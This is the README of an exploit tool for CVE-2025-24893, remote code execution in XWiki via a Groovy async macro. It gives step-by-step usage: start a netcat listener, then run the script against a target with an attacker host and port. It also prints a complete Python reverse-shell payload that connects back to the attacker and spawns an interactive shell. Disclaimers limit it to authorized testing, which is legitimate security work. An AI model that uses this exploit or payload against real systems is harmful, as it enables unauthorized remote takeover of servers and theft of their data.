CVE-2025-24893 XWiki RCE Exploit

A simple Python3 script to exploit CVE-2025-24893, a remote code execution vulnerability in XWiki Platform, using a Groovy-based async macro and a configurable reverse shell payload.

⚠️ WARNING: This tool is provided for educational and authorized testing purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.

Table of Contents

• Features
• Requirements
• Installation
• Usage
• Detection & Protocol Fallback
• Reverse Shell Payload
• License
• Disclaimer

Features

• ✅ Automatically detects whether the target supports HTTPS or HTTP
• ✅ Constructs a Groovy ProcessBuilder snippet to avoid Runtime.exec quirks
• ✅ URL-encodes the XWiki async+groovy macro payload
• ✅ Configurable reverse shell (host + port)
• ✅ Prints HTTP response code to help verify delivery

Requirements

• Python 3.6 or higher
• requests library

pip install requests

Installation

Clone this repository:

git clone https://github.com/hackersonsteroids/cve-2025-24893.git
cd cve-2025-24893

Usage

./exploit.py <TARGET_DOMAIN> <LHOST> <LPORT>

• <TARGET_DOMAIN> The XWiki host (e.g. wiki.example.local).

• <LHOST> Your attacker machine’s IP (where your listener is running).

• <LPORT> Your listener port (integer).

Example

1. Start a listener on your machine:

nc -lvnp 4444

2. Run the exploit:

./exploit.py wiki.vulnerable.local 10.0.0.5 4444

3. On success, check your netcat listener for a shell.

Detection & Protocol Fallback

Before sending the payload, the script:

1. Tries https://<TARGET_DOMAIN>
2. Falls back to http://<TARGET_DOMAIN> if HTTPS fails
3. Exits if neither is reachable

This helps ensure compatibility with mixed‐protocol deployments.

Reverse Shell Payload

By default, the script uses a Python3 one-liner:

new ProcessBuilder(
  ['/bin/bash','-c',
   'python3 -c \'import socket,subprocess,os;'
   's=socket.socket();s.connect(("LHOST",LPORT));'
   'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
   'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'']
).redirectErrorStream(true).start()

• You can modify the build_payload() function if you need a different shell (e.g. Bash, Perl, PHP, etc.).

License

This project is licensed under the MIT License. See the LICENSE file for details.

Disclaimer

This tool is designed for authorized security assessment and educational purposes only. The authors hold no responsibility for misuse. Always obtain explicit permission before testing any target systems.